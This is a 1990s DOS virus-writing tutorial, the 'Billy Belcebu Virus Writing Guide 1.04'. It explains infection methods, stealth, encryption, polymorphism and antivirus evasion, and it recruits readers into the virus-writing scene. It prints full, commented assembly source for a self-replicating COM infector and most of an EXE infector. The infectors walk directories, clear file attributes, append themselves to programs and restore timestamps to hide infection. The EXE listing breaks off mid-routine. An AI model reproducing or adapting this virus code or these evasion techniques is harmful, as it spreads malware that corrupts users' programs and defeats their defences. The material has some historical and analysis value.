Billy Belcebu Virus Writing Guide 1.04


---| Disclaimer |------------------------------------------------------------

 The autor  of this document isn't responsible of any kind of damage that co-
 uld be made with the bad  use of this information. The objective of this tu-
 torial is to teach  people how  to create  and defend againist the attack of
 a lame YAM virus :) This tute is for educational purposes only. So, lawyers,
 i don't give a shit if a lamer takes  this information and makes destructive
 viruses. And if through  this document you see  anywhere that i encourage to
 destroy or corromp data, go directly to buy glasses. 

---| Presentations |---------------------------------------------------------
 
 Welcome the Billy Belcebu's Virus Writing Guide. This  document is dedicated
 to my master, zAxOn, my  mentor from  the days when i asked him what was ARJ
 passing through the day when  he lend me the TP5, and taught me all he knew,
 till my first  steps in Assembly. It's also dedicated to the ppl who want to
 leave to be lamer, and  want to  join the " good scene ". I don't forget the
 author of a lot of great documents, Dark Angel ( member of the  extinct pio-
 neer cool group called Phalcon/Skism ), cause  his tutorials taught me in my
 early stages. Of  course, to  The Offspring, Marilyn Manson, Blind Guardian,
 Stratovarius and  Metallica ( I hear another groups, but these  are the best
 ones ) cause with their music i'm  writing this  lines. Hope  you  like this
 beginner's guide, probably my last tribute for DOS viruses.

 NOTE: English ain't my first language ( it's spanish ), so excuse me for all
 my misspells  i made ( a lot of ), and notify me  them for  later updates of
 this document.

 --- Contact me

 + E-mail                                           billy_belcebu@hotmail.com
                                                    billy_belcebu@cryogen.com
 + ICQ                                                             # 22290500
 + Personal web page                        http://members.xoom.com/billy_bel
                                         http://www.cryogen.com/billy_belcebu
 + Group web page                           http://sourceofkaos.com/homes/ddt
 + IRC [Billy_Bel]                          Undernet #vir, Irc-Hispano #virus

 Have phun!

 Billy Belceb£,
 mass killer and ass kicker.
                                                            
---| Useful software for virus coding |--------------------------------------

 You need some things  before start writing virii. Here you have the programs
 i recommend you ( If you haven't enough money for buy them... DOWNLOAD! ) :)

 + Borland Turbo Assembler 3.1 will be enough for dos viruses
 + Borland Turbo Link 5.1
 + SoftIce debugger, Borland Turbo Debug 3.1, AVP debugger, or dos debug even
 + The text editor you like more ( QuickEdit should be a good choice )
 + Some  virus sources ( from  old viruses  like stoned  to the coolest, like
   Zhengxi, Onehalf, Cabanas, Esperanto... )
 + Some virus related e-zines ( 40hex, Insane Reality, Xine, 29A... )
 + Utilities that can show you memory dumps and else, like Norton Utilities
 + The Ralf Brown's Interrupt list
 + Some assembler books ( for doubts and this kinda things ) :)
 + Some AVs ( in order to see if our virii is detected heuristically )
 + Of course, this document ;)

 I hope i don't forget any important thing.

---| Some useful theory |----------------------------------------------------

 A virus is a program ussually  coded in assembler ( but can also be coded in
 other languages, like PASCAL and C ) that  spreads copies of itself to other
 executables and/or another  things like boot sectors or MBRs. The  assembler
 ain't as " diabolic " as some people say, believe me :)

 Well, i hope you have noted that i don't mention anywhere the macro viruses:
 if you wanna learn something, i think that the best thing you could do is to
 write viruses in assembler.

 A virus  attaches itself at  end of  the victim ( the 80% of viruses ), take
 advantage of  the MS-DOS feature  of executing  first a COM than  a EXE file
 ( companion viruses ), don'tincrease the size ( guest infectors and overwri-
 ting virii ), EXE header viruses, midfile infectors, install in boot, in MBR
 And with the compression  engines... a  virus can  decrease  the size of the
 victim after infection!!! ;) Hope to see soon a virus like this (Supeeeer ;)
 Let's see how a virus of the first kind works with some nice graphics ;)

 .--------------. .-------------.          .--------------.<. 
 |              | |             |        .-|JMP VIRUS|    | |
 |              | |    VIRUS    |        | |---------'    | |
 |     FILE     |+|             | -------->|     FILE     | |
 |              | '-------------'        | |              | |
 |              |                        | |              | |
 '--------------'                        '>|--------------| |
                                           |              | |
                                           |    VIRUS     | |
                                           |              | |
                                           '--------------'-'

 Viruses ussually follow the same steps:
 1. Locate the file to infect ( Waiting till opening or something, or seeking
    throught directories )
 2. Check if it's already infected
 3. If yes, skip it.
 4. Save file date/time
 5. Put a jump to our code saving the first bytes
 6. Append the virus body
 7. Restore file date/time

 It's very simple as you can see, but  they use different ways  for arrive to
 the below point. I'll explain it later.

 Another type  of infection can  be also made, but it's more slow, because we
 have to take all guest code, save it  in a  temporal place, write  the virus
 code, and after our code, the guest original code. Let's see:

 .--------------. .-------------.          .--------------. 
 |              | |             |          |              | 
 |              | |    VIRUS    |          |    VIRUS     | 
 |     FILE     |+|             | ------>  |              |
 |              | '-------------'          |--------------|| 
 |              |                          |              |v 
 '--------------'                          |              | 
                                           |     FILE     |
                                           |              |
                                           |              |
                                           '--------------'

 The worst viruses in the world are the overwriting ones. They're so destruc-
 tive, and the  infection is easily  detected, cause  they don't  execute the
 guest ( they can't be operative coz the infection method ), they only execu-
 tes their own body. Let's see a graphic.

 .--------------. .-------------.          .--------------. 
 |              | |             |          |              | 
 |              | |    VIRUS    |          |    VIRUS     | 
 |     FILE     |+|             | ------>  |              | 
 |              | '-------------'          |--------------| 
 |              |                          |              | <----- The file 
 '--------------'                          '--------------' never more run :(
                                        
 A really good  idea is  the mid-file infection, probably one of the best me-
 thods for infect: viruses more  hard to remove, emulate... They simply write
 itself to a random offset on the host, and we give'em the control there.

 .--------------. .-------------.          .--------------.<.
 |              | |             |        .-|JMP VIRUS |   | |
 |              | |    VIRUS    |        | |----------'   | |
 |     FILE     |+|             | -------->|   FILE (I)   | |
 |              | '-------------'        '>|--------------| |
 |              |                          |              | |
 '--------------'                          |    VIRUS     | |
                                           |              | |
                                           |--------------|-'
                                           |   FILE (II)  |
                                           |--------------|
                                           |  SAVED DATA  |
                                           | OVERWRITTEN  |
                                           | BY THE VIRUS |
                                           '--------------'

 In fact, there is  a method that comes from this one, that mainly is to find
 "holes" in the executable  file, such as  big data zones. Let's see a little
 diagram for this ones.

 .--------------. .-------------.          .--------------.<.
 |              | |             |        .-|JMP VIRUS |   | |
 |              | |    VIRUS    |        | |----------'   | |
 |     FILE     |+|             | -------->|   FILE (I)   | |
 |              | '-------------'        '>|--------------| |  .
 |              |                          |              | |  | Was a 
 '--------------'                          |    VIRUS     | |  | data area
                                           |              | |  | w/constant
                                           |--------------|-'  ' value.
                                           |   FILE (II)  |
                                           |              |
                                           '--------------'

 Of course, there're more and more infection methods, but this is a guide for
 beginners... never forget it :) And that are demonstration diagrams...

 A virus have some different phases:

 + INFECTION: A virus arrive to an unsuspecting guy, inside a file ( via dis-
   quettes, e-mail... ) or boot sectors ( disquettes... ). The user  executes
   the  virus without  know it,  and then is when the creature takes the con-
   trol of the system ( instead the user ) ;)

 + I-HAVE-THE-CONTROL: This is the funniest phase of viruses, cause the user,
   lives very happy, lending programs to his/her friends, infecting them, and
   all this stuff. And the virus quickly infects more and more people.

 + PAYLOAD: After a decisive situation, the virus show its presence. The pay-
   load can  be destructive  or not ;)  In my humble opinion, the destruc-
   tive payloads are only made by the lamers, this  scum who enjoy destroying
   other computers, and with the well know attitude of a dickhead. The better
   payloads are the original ones, coz they make the user to feel astonished.
   Of course, there're virus  without a payload, that don't do anything besi-
   des replicate (Hi Patty Bitchman!).

 In this tutorial i will talk about some other interesting stuff like:

 + ARMOURING: I really  LOVE this  stuff. It's  ussually used  for  avoid the
   debugging/dissasembling of our virus for any undesirable guy. Well, a good
   VXer  can dissasemble  whatever he/she ( ? ) wants to. You have an example
   in Tcp/29A and Darkman/29A... 

 + STEALTH: The  concealment method  for excelence. There're a lot of methods
   for  make  stealth ( FCB, Handles,  SFT, Disinfection-on-the-fly... ) I'll
   explain some of these things. This consists in make  the user think  there
   isn't any kind of infection, returning him the same file size that was be-
   fore the infection, disinfecting the file before it's opened...

 + ENCRYPTION: This method  consist in  the cypher of the main virus body, so
   the strings we can have as copyright can't be seen by a  suspecting guy ;)
   It's really  an old technique, but  nowadays is still used ( but with some
   things that change, see the next point ). Uses  mathematic operations  for
   perform the work ( XOR, ADD-SUB, INC-DEC, NOT, NEG, ROR-ROL... )

 + POLYMORPHISM: An  extension of  the encryption  in order to avoid AVs. The
   objective  is generate  different decryption  routines each  time for make
   impossible the scan of the virus, or minimize the possible scan strings :)

 + ANTI-HEURISTIC: Heuristic  scanners aren't  as trustables like some people
   say. I'll demonstrate that the heuristic aren't as safe as they seem. This
   stuff are some tricks you can use for avoid flags.

 + TUNNELING: This  stuff  is used  for obtain  the " real " INT 21h vectors,
   bypassing the TSR watchdogs, and all that's in our way.

 + ANTI-TUNNELING: The weapon that AV used for avoid tunnelers becomes in one
   of the TSR watchdog's enemy. It's  also cool for  stop the  steps of other
   viruses that are trying to get _OUR_ INT21h :)

 + ANTI-BAIT: Baits ( aka sacrifical goats ) are what AV uses for make multi-
   ple  infections in a  lot of files, trying  to get  a scan  string for our
   virus ( and with it, our mutation engine )... and, we  want this? NO! I'll
   explain the most used methods for don't infect this non-sense programs.

 + OPTIMIZATION: The better viruses are the ones that do a lot of thing using
   very few bytes. In  this little  chapter you'll  see how to do some things
   using less bytes.

---| First steps, RUNTIME viruses |------------------------------------------

 There're some methods for a success infection. Now I'll explain the most old
 ones, the  RUNTIME ( aka  direct action ). Nowadays, no  one makes a runtime
 infector, because they're slooooooow, and their presence is quickly detected
 by  a middle-interested  user. But... don't  be afraid! This method is  very
 simple, and all the people  now in the scene, made  their first steps with a
 runtime com infector. This method is  only for your  first contact with  the
 virus  developing. A runtime virus  consist in  a program  that searches for
 files  using a  wildcard ( "*.com","*.exe","*.*"... ) and using  the DOS-API
 ( of course, the INT 21h ) functions Findfirst and Findnext ( 4Eh and 4Fh ).
 It can also enter in another directories than the actual one for perform its
 infection. Ussually  this kinda viruses infects COM and EXE, but we can also
 infect SYS, OBJ, ZIP... but for  this i'd need  another  tutorial, and... do
 you remember this is for beginners? ;)

 % COM infection %
 -----------------

 The easiest, as you  can imagine is  the COM infection. It's the first thing
 you must  understand, coz the infection ( not the way used to arrive there )
 is more or less, the same stuff in all kinda viruses ( TSR and so on ):

 1. Open file
 2. Save time/date/attributes
 3. Store first ( ussually 3 ) bytes
 4. Calculate the new jump
 5. Put it
 6. Append main virus body
 7. Restore time/date/attributes
 8. Close file

 You must remember that a COM file look is the same in the physical code than
 in the memory ( COM = Copy Of Memory ). DOS  gives all the  available memory
 to the COM file. Let's see how  is a COM program when it's loaded in memory:

 .-----------------------------------. <------ CS = 0000h 
 |  Program Segment Prefix ( PSP )   |     |-- DS = 0000h
 |       100h bytes ( 256d )         |     |-- ES = 0000h
 |-----------------------------------| <-. '-- SS = 0000h
 |      Program Code and Data        |   '- CS:IP = 0100h
 |                                   |
 |                                   |
 |                                   |     .-- CS = FFFFh (*) The stack grows 
 |                                   |     |-- DS = FFFFh     backwards, from 
 |              Stack                |    .--- ES = FFFFh     bottom to top.
 '-----------------------------------' <--' SS:SP = FFFFh

 The COM files  can only have the size of a segment ( FFFFh bytes ) less 100h
 bytes that are used for PSP ( FFFFh - 100h = FEFFh ). But there's a problem.
 We must save more space  for let the stack grow what we need ( every time we
 make a PUSH and we forget the POP, the stack grows, and if it grows too much
 it'll finish trashing our program ). I'll leave at least 100h more bytes for
 stack. Ok ? :)

 It's very easy to understand... and it's LOGIC!!! ;)
 Talking about logic things... I think it is a good time for practice the COM
 infection. It's a  LAME  virus. LAME? Only? More  than this : the LAMEST! ;)
 But this is a beginners documment, and i must make it! Althougth it fuck me!
 Well, i don't kill my  mind programming  some stuff like that, althougth i'd
 spend  only 5 minutes in  coding my own :) ( spend time? just WASTE time! :)

;---[ CUT HERE ]-------------------------------------------------------------
; A very lame virus. Don't compile. Don't distribute. 
; If you make a copy of this... you'll be LAME!
; But  i hope it'll  help you in  order to become a VXer from the first steps
; to  the GIANT ones ;) And then you'll have to send me greets :)
; I hate  to code my  own runtime virus ( 5 minutes for  write a shit, please
; believe  me, is very boring and a WASTE of time ) so I used Dark Angel's Gý
; Sorry, i'm a goddamn lazy :)
;
; Assemble with: TASM /m3 lame.asm
; Link with:     TLINK /t lame.obj

; Virus generated by Gý 0.70á ( Look, I didn't removed signatures. This ain't
; mine! The lamest  thing you can do is remove signatures. Don't forget it! )
; Gý written by Dark Angel of Phalcon/Skism
                
; File: LAME.ASM              
                
        .model  tiny
        .code   
                
        org     0100h
                
carrier:
        db      0E9h,0,0                ; jmp start
                
start:
        mov     bp, sp                  ; Antidebugging get ë offset!
        int     0003h                   ; Int for breakpoints
next:
        mov     bp, ss:[bp-6]
        sub     bp, offset next
                
;----------------------------------------------------------------------------
; Explanation:
; Let's see. When  we infect a file  ALL offsets get moved exactly da size of
; guest, so we  choice a register ( ussually BP or SI ) and  we put in it the
; size of the file with this simple thing, and each time we use a variable or
; something, we MUST add the register used as ë-offset ( here BP )
;----------------------------------------------------------------------------

        mov     dl, 0000h               ; Default drive
        mov     ah, 0047h               ; Get directory
        lea     si, [bp+offset origdir+1]
        int     0021h
                
        lea     dx, [bp+offset newDTA]
        mov     ah, 001Ah               ; Set DTA
        int     0021h

;----------------------------------------------------------------------------
; Explanation:
; The  first block stores the current directory in a variable for l8r return.
; Take a look to the zone  of this document where  are the DTA structure. The
; DTA ( Disk  Transfer Address ) begins  in the byte 80h of the PSP ( Program
; Segment Prefix ) where also resides the command line. And you wonder why...
; What happens when  we use the DTA with the  command line? That's the reason
; of storing the DTA ( Besides for our own use, of course ) ;)
;----------------------------------------------------------------------------
                
restore_COM:
        mov     di, 0100h
        push    di
        lea     si, [bp+offset old3]
        movsb                           ; Move first byte
        movsw                           ; Move next two
                
        mov     byte ptr [bp+numinfect], 0000h

;----------------------------------------------------------------------------
; Explanation:
; This routine restores the 3 original first bytes of the infected com, loca-
; ted  above offset 100h, and  also saves  this offset  in DI  for later use.
; The  last line setups  the actual number of infections to 0 ( the couter ).
;----------------------------------------------------------------------------

traverse_loop:
        lea     dx, [bp+offset COMmask]
        call    infect
        cmp     [bp+numinfect], 0003h
        jae     exit_traverse           ; exit if enough infected
                
        mov     ah, 003Bh               ; CHDIR
        lea     dx, [bp+offset dot_dot] ; go to previous dir
        int     0021h
        jnc     traverse_loop           ; loop if no error
                
exit_traverse:
                
        lea     si, [bp+offset origdir]
        mov     byte ptr [si], '\'
        mov     ah, 003Bh               ; restore directory
        xchg    dx, si
        int     0021h
                
;----------------------------------------------------------------------------
; Explanation:
; All we do here  is infect all files in the directory, and we end with this,
; we change directory to ..
; And when there aren't more directories we restore the old when we were.
;----------------------------------------------------------------------------

        mov     dx, 0080h               ; in the PSP
        mov     ah, 001Ah               ; restore DTA to default
        int     0021h

return:
        ret     
                
;----------------------------------------------------------------------------
; Explanation:
; This will restore the taken DTA to  its original address, in the offset 80h
; at the Program Segment Prefix ( PSP ), and then  return to original  offset
; 100h, for execute the file normally ;)  ( Remember we pushed di when it was
; equal to 100h )
;----------------------------------------------------------------------------
                
old3            db      0cdh,20h,0
                
infect:
        mov     ah, 004Eh               ; find first
        mov     cx, 0007h               ; all files
findfirstnext:
        int     0021h
        jc      return
                
;----------------------------------------------------------------------------
; Explanation:
; In this  code all  we do  is search in  the current directory for the files
; matching with the wildcard in DX ( in this example "*.COM" ), with any kind
; of attributes.
; Old3 is the var that handles the first 3 bytes of  the actual infected COM.
; If there isn't matching files, a carry flag is returned and then we jump to
; a routine  that returns the  control to  the main  program. If  we found at
; lest one of them, we jump to  the following  code, and when finish this, we
; look for another file
;----------------------------------------------------------------------------

        cmp     word ptr [bp+newDTA+35], 'DN' ; Check if COMMAND.COM
        mov     ah, 004Fh               ; Set up find next
        jz      findfirstnext           ; Exit if so
                
;----------------------------------------------------------------------------
; Explanation:
; This is for not infect  the command.com, checking if file has in pos name+5
; ( DTA+35 ) the word DN ( ND, but the words are stored reverse! )
;----------------------------------------------------------------------------

        lea     dx, [bp+newDTA+30]
        mov     ax, 4300h
        int     0021h
        jc      return
        push    cx
        push    dx
                
        mov     ax, 4301h               ; clear file attributes
        push    ax                      ; save for later use
        xor     cx, cx
        int     0021h
                
;----------------------------------------------------------------------------
; Explanation:
; The first  block has a  double function: stores the  file attributes of the
; file for later restore, and also check if file exists or there's a problem.
; The second one save in stack 4301h ( function for put attributes ) and also
; clear file of undesirable attributes like read-only :)
;----------------------------------------------------------------------------

        lea     dx, [bp+newDTA+30]
        mov     ax, 3D02h               ; Open R/O
        int     0021h
        xchg    ax, bx                  ; Handle in BX
                
        mov     ax, 5700h               ; get file time/date
        int     0021h
        push    cx
        push    dx
                
;----------------------------------------------------------------------------
; Explanation:
; The first  block opens the  file in read/write mode, and  the put  the file
; handle in BX, where it'll be more useful.
; The second block  of instructions get  the file date and time and then save
; them in the stack. 
;----------------------------------------------------------------------------

        mov     ah, 003Fh
        mov     cx, 001Ah
        lea     dx, [bp+offset readbuffer]
        int     0021h
                
        xor     cx, cx
        xor     dx, dx
        mov     ax, 4202h
        int     0021h

;----------------------------------------------------------------------------
; Explanation:
; The first  block reads 1Ah bytes ( 26 ) into  the variable  readbuffer, for
; later  comparations. The second block  moves the file pointer to the end of
; the file for  two reasons: file size  will be put in AX, and  we need to be
; there for append
;----------------------------------------------------------------------------

        cmp     word ptr [bp+offset readbuffer], "ZM"
        jz      jmp_close

        mov     cx, word ptr [bp+offset readbuffer+1] ; jmp location
        add     cx, heap-start+3        ; convert to filesize
        cmp     ax, cx                  ; equal if already infected
        jl      skipp
jmp_close:
        jmp     close

;----------------------------------------------------------------------------
; Explanation:
; The  first block  compares the two  first bytes  of the  opened COM file in
; order to see if it's a misnamed EXE ( remember the words must be in reverse
; order ). The second block check for previous infection, comparing the virus
; size + the guest ( before be infected ) size with the guest actual size.
;----------------------------------------------------------------------------

skipp:
                
        cmp     ax, 65535-(endheap-start) ; check if too large
        ja      jmp_close               ; Exit if so
                
        lea     di, [bp+offset old3]
        lea     si, [bp+offset readbuffer]
        movsb   
        movsw   
                
;----------------------------------------------------------------------------
; Explanation:
; The first block of instructions check the size of the COM, to see if we can
; infect it ( the COM size + virus size can't be > 0FFFFh ( 65535 ), cause it
; is, the PSP and/or stack will corromp the code.
; The second block moves the values of old3 ( 3 bytes ) var to readbuffer.
;----------------------------------------------------------------------------

        sub     ax, 0003h               ; Virus_size-3 ( jump size )
        mov     word ptr [bp+offset readbuffer+1], ax
        mov     dl, 00E9h               ; Opcode of jmp
        mov     byte ptr [bp+offset readbuffer], dl

        lea     dx, [bp+offset start]   ; The beginning of what append
        mov     cx, heap-start          ; Size to append
        mov     ah, 0040h               ; concatenate virus
        int     0021h

;----------------------------------------------------------------------------
; Explanation:
; The first  block calculates  the jump to the virus code and then stores the
; result in a variable. The second block append the virus to the guest :)
;----------------------------------------------------------------------------

        mov     ax, 4200h
        xor     dx, dx
        xor     cx, cx
        int     0021h
                
                
        mov     cx, 0003h
        lea     dx, [bp+offset readbuffer]
        mov     ah, 0040h
        int     0021h
                
        inc     [bp+numinfect]

;----------------------------------------------------------------------------
; Explanation:
; The first block moves the file pointer to the beginning of da file, and the
; second one writes the jump to the virus code there.
; The third increases  the variable that holds the number of succesful infec-
; tions already made
;----------------------------------------------------------------------------

close:
        mov     ax, 5701h               ; restore file time/date
        pop     dx
        pop     cx
        int     0021h
                
        mov     ah, 003Eh
        int     0021h
                
        pop     ax                      ; restore file attributes
        pop     dx                      ; get filename and
        pop     cx                      ; attributes from stack
        int     0021h
                
        mov     ah, 004Fh               ; find next
        jmp     findfirstnext

;----------------------------------------------------------------------------
; Explanation:
; The first  block of instruction restore the time and date of file stored in
; the DTA. And the second closes the file and the third one restore old attrs
; of the infected file.
; The last one put in  AX the function  FindNext of DOS, and  jumps to search
; for more files to infect.
;----------------------------------------------------------------------------


signature       db      "[PS/Gý]",0     ; Phalcon/Skism Gý ( old!! )
COMmask         db      "*.COM",0       ; Must be ASCIIZ ( Ascii string,0 )
dot_dot         db      "..",0          ; Directory to change
                
heap:                                   ; this data goes in heap
newDTA          db      43 dup (?)      ; DTA size, 2Bh
origdir         db      65 dup (?)      ; Where to store old directory
numinfect       db      ?               ; Handles the number of infections
readbuffer      db      1ah dup (?)     ; Buffer
endheap:
end     carrier
;---[ CUT HERE ]-------------------------------------------------------------

 It's very simple all this, as you can see. And this code is FULLY commented.
 If you still  don't understand this, don't change  chapter, re-read  all the
 COM infection!!!. But... a virus that  only infect COMs... and runtime maybe
 would be cool 6 or 7 years ago, but nowadays  it's horrible! Before spread a
 runtime  virus now, i  recommend you  to wait  some time. Some  months could
 be enough in order to have a  better knowledge of assembler language, and if
 you dedicate  some time for  improve your skills, you'll  make a TSR COM/EXE
 infector with full stealth and nice tricks in some months more.

 ENUNS 
 -----

 Well, the goddamn  Win95 has a lot of COM files, interesting huh? They're so
 far the most used, but there's  a problem. If we infect  them normally, they
 hang :( The solution if to  save the last seven bytes of the file at the end
 of the file, adding the virus size to the last two.

 Last words 
 ----------

 Don't hear  the insults of another  VXers about your  first steps  here, and
 your viruses. Sometimes some of this people ( they're few guys, ussually all
 people in the scene in very kind ) forget their first steps were like yours,
 believing theirselves god, as some AVers dickeads do. Pathetic.

 I'll stop talking about this  suckers who forget their roots, and let's talk
 about the EXE infection.

 % EXE infection %
 -----------------

 The first  you must  know is that  the EXE infection  is different  than COM
 infection ( i  think you're intelligent and  you know this ;) ) The EXEs can
 be bigger in size, and they have a HEADER ( I think  the most important part
 infecting EXEs is  manipulate that header ) that contains some useful values
 for infection like the CS:IP ( stored in  reverse order IP:CS ) ,SS:SP ( NOT
 stored in reverse order!!! ), File  size in paragraphs and all other things.
 Here you have the header structure:

 .-----------------------------------. <--- +0000h
 |    EXE file mark ( ZM or MZ )     |            Size : 1 WORD
 |-----------------------------------| <--- +0002h
 |    Bytes in last page of image*   |            Size : 1 WORD
 |-----------------------------------| <--- +0004h
 |          Number of pages*         |            Size : 1 WORD
 |-----------------------------------| <--- +0006h
 |    Number of relocation items     |            Size : 1 WORD
 |-----------------------------------| <--- +0008h
 | Size of the header in paragraphs  |            Size : 1 WORD
 |-----------------------------------| <--- +000Ah
 |      MinAlloc in paragraphs       |            Size : 1 WORD
 |-----------------------------------| <--- +000Ch
 |      MaxAlloc in paragraphs       |            Size : 1 WORD
 |-----------------------------------| <--- +000Eh
 |            Initial SS*            |            Size : 1 WORD
 |-----------------------------------| <--- +0010h
 |            Initial SP*            |            Size : 1 WORD
 |-----------------------------------| <--- +0012h
 |        Negative checksum          |            Size : 1 WORD
 |-----------------------------------| <--- +0014h
 |            Initial IP*            |            Size : 1 WORD
 |-----------------------------------| <--- +0016h
 |            Initial CS*            |            Size : 1 WORD
 |-----------------------------------| <--- +0018h
 |            Relocations            |            Size : 1 WORD
 |-----------------------------------| <--- +001Ah
 |             Overlays              |            Size : 1 WORD
 |-----------------------------------| <--- +001Ch
 |         Reserved / Not used       |            Size : 1 DWORD?
 '-----------------------------------'                   ---------
                                            Total Size : VARIABLE!

 (*) The fields marked need to be modified at infection

 The EXE  files can have  more than one  segment ( one for code, one for data 
 and another for stack -> CS,DS,SS in order of appereance :)

 The EXE's header  is generated by the  linker. The user don't give a shit :)
 When DOS loads the EXE into memory, it looks like this:

 .-----------------------------------. <------ ES = 0000h
 |  Program Segment Prefix ( PSP )   |     '-- DS = 0000h
 |       100h bytes ( 256d )         |
 |-----------------------------------| <--- CS:IP ( pointed by header )
 |                                   |
 |    Program Code Segment ( CS )    |
 |                                   |
 |-----------------------------------|
 |                                   |
 |    Program Data Segment ( DS )    |
 |                                   |
 |-----------------------------------| <------ SS = 0000h
 |                                   |
 |   Program Stack Segment ( SS )    |
 |                                   |
 '-----------------------------------' <--- SS:SP ( pointed by header )

 As  you can see, in the  EXE files there isn't the problem existing in COMs.
 For  our stack  needs ( PUSH and POP ) we  have an entire  segment! It still
 grows backwards ( from bottom to top ).

 Let's see da algorithm you must follow for yer EXE infector ( step by step )

 1.  Open the file ( wow, genius! ) for read only
 2.  Read the first 1A bytes ( 26d )
 3.  Store them in a variable
 4.  Close file
 5.  Check the first word for mark ( MZ, ZM )
 6.  If it's equal, continue, if not goto 16
 7.  Check for previous infection
 8.  If ain't infected, continue, if it's already infected goto 17
 9.  Save actual CS:IP ( reverse -> IP:CS ) for EXE restoring
 10. For the same purpose, save SS:SP ( this order )
 11. Calculate new CS:IP and SS:SP
 12. Modify the bytes in the last page and the number of pages
 13. Open again ( but in read/write mode )
 14. Write the header
 15. Move file pointer to the end
 16. Append the virus body
 17. Close file

 Of course, you change  some things to this, like  open only one time for r/w
 mode. Beware of  infected EXEs SP. SP ain't  even in normal EXEs ( could be,
 but it'll trigger an heuristic flag! ). So, pay attention.

 I don't wanna bore you  with more theorical shit, and remember that the best
 way to learn to code viruses is to  see source codes of another viruses. And
 it's good to see what i've just explained you :)

;---[ CUT HERE ]-------------------------------------------------------------
; I'll put  code of my own when we arrive to more funny chapters. Until then,
; you must fuck you seeing code generated by Gý :)
;
; Assemble with: TASM /m3 lame.asm
; Link with:     TLINK /t lame.obj

; Virus generated by Gý 0.70á
; Gý written by Dark Angel of Phalcon/Skism
                
id              =       ';)'
                                        
        .model  tiny
        .code   
        org     0100h
                
start:
        call    next
next:
        pop     bp
        sub     bp, offset next
                
;----------------------------------------------------------------------------
; Explanation:
; This  is the  most common way to find the delta offset ( if you still don't
; know what is the delta offset, kill yourself )
;----------------------------------------------------------------------------

        push    ds                      
        push    es                               
        push    cs                      
        pop     es                      ; CS = ES
        push    cs
        pop     ds                      ; CS = ES = DS
                
;----------------------------------------------------------------------------
; Explanation:
; This AIN'T  a COM! Remember  it. The EXEs  are more powerful ( and a little
; bit more hard to infect ) When we execute an EXE, each  segment is pointing
; to a  different offset, so we  need to  adjust them. Remember we  can't put
; something like " mov es,ds ", so there's a little trick to do this. Use the
; stack :)
;----------------------------------------------------------------------------

        mov     ah, 001Ah               ; Set DTA
        lea     dx, [bp+offset newDTA]
        int     0021h
                
        mov     ah, 0047h               ; Get directory
        lea     si, [bp+offset origdir+1]
        cwd                             ; Default drive
        int     0021h

;----------------------------------------------------------------------------
; Explanation:
; Do you remember our old friend, the DTA ? I hope da answer will be yes, coz
; it's not, re-read the full document, goddamit!
; And the second routine is also a well know one. This stuff is already seen.
;----------------------------------------------------------------------------

        lea     di, [bp+offset origCSIP2]
        lea     si, [bp+offset origCSIP]
        movsw   
        movsw   
        movsw   
        movsw   
                
        mov     byte ptr [bp+numinfect], 0000h

;----------------------------------------------------------------------------
; Explanation:
; Hey! Some  new stuff! Well, the first block is for the later restore of the
; EXE guest file. I hope you know what MOVSW instruction does... Not? Grrr...
; I'm gonna  explain you, but for  another doubts... BUY AN ASSEMBLER BOOK!!!
; MOVSW moves a  word from  DS:SI to ES:DI ( MOVSB  does the same  but with a
; byte ) We make this because we have two double words. Wa can also put some-
; thing like MOV CX,4 and a REP MOVSW, or in a 386+, two MOVSD.
;----------------------------------------------------------------------------

traverse_loop:
        lea     dx, [bp+offset EXEmask]
        call    infect
        cmp     [bp+numinfect], 0003h
        jae     exit_traverse           ; exit if enough infected
                
        mov     ah, 003Bh               ; CHDIR
        lea     dx, [bp+offset dot_dot] ; go to previous dir
        int     0021h
        jnc     traverse_loop           ; loop if no error
                
;----------------------------------------------------------------------------
; Explanation:
; It's a pain to explain routines already explained before...
;----------------------------------------------------------------------------

exit_traverse:
                
        lea     si, [bp+offset origdir]
        mov     byte ptr [si], '\'
        mov     ah, 003Bh               ; restore directory
        xchg    dx, si
        int     0021h
                
        pop     es                      ; ES = DS
        pop     ds
                
        mov     dx, 0080h               ; in the PSP
        mov     ah, 001Ah               ; restore DTA to default
        int     0021h
                
;----------------------------------------------------------------------------
; Explanation:
; Already explained in COM infection
;----------------------------------------------------------------------------

restore_EXE:
        mov     ax, ds
        add     ax, 0010h
        add     cs:[bp+word ptr origCSIP2+2], ax
        add     ax, cs:[bp+word ptr origSPSS2]
        cli     
        mov     ss, ax
        mov     sp, cs:[bp+word ptr origSPSS2+2]
        sti     
        db      00EAh                           ; jmp far opcode
origCSIP2       dd      ?
origSPSS2       dd      ?
origCSIP        dd      0fff00000h
origSPSS        dd      ?
                
return:
        ret     

;----------------------------------------------------------------------------
; Explanation:
; This is the way used to restore the guest EXE. Take a look to the instruct-
; ions... Our objective is to restore old CS:IP ans SS:SP of the infected EXE
; Take note that  we must deactivate  interrupts before  stack  manipulation.
; After  this, we  jump to the  original EXE code, and  all will  happen like
; there isn't any strange thing :)
;----------------------------------------------------------------------------

infect:
        mov     cx, 0007h               ; all files
        mov     ah, 004Eh               ; find first
findfirstnext:
        int     0021h
        jc      return
        lea     dx, [bp+newDTA+30]
        mov     ax, 4300h
        int     0021h
        jc      return
        push    cx
        push    dx
                
        mov     ax, 4301h               ; clear file attributes
        push    ax                      ; save for later use
        xor     cx, cx
        int     0021h
                
;----------------------------------------------------------------------------
; Explanation:
; All this code seems to  be equal to the COM infection. This is because it's
; the stuff that find EXE files, wipe the attributes and else
;----------------------------------------------------------------------------

        mov     ax, 3D02h
        lea     dx, [bp+newDTA+30]
        int     0021h
        xchg    ax, bx
                
        mov     ax, 5700h               ; get file time/date
        int     0021h
        push    cx
        push    dx
                
        mov     ah, 003Fh
        mov     cx, 001Ah
        lea     dx, [bp+offset readbuffer]
        int     0021h
                
        mov     ax, 4202h
        xor     cx, cx
        cwd     
        int     0021h

;----------------------------------------------------------------------------
; Explanation:
; Hey, guy. All  this above code  was already seen in COM infection. But from
; here till the end, there'll be the cool stuff of EXE infection :)
;----------------------------------------------------------------------------

        cmp     word ptr [bp+offset readbuffer], 'ZM'
        jnz     jmp_close
                
checkEXE:
        cmp     word ptr [bp+offset readbuffer+10h], id
        jnz     skipp
jmp_close:
        jmp     close

;----------------------------------------------------------------------------
; Explanation:
; The first  block compares  the first  bytes of  the opened file in order to
; search for the EXE signature ( MZ ). The author of Gý seems to have forgot-
; ten  to  add a comparison for ZM, tho. The  second one  check for  previous
; infection. This virus is  an old runtime one, and it's a rudimentary way to
; mark infected EXEcutables ( put two bytes as SP in the EXE header )
;----------------------------------------------------------------------------

skipp:
                
        lea     si, [bp+readbuffer+14h]
        lea     di, [bp+origCSIP]
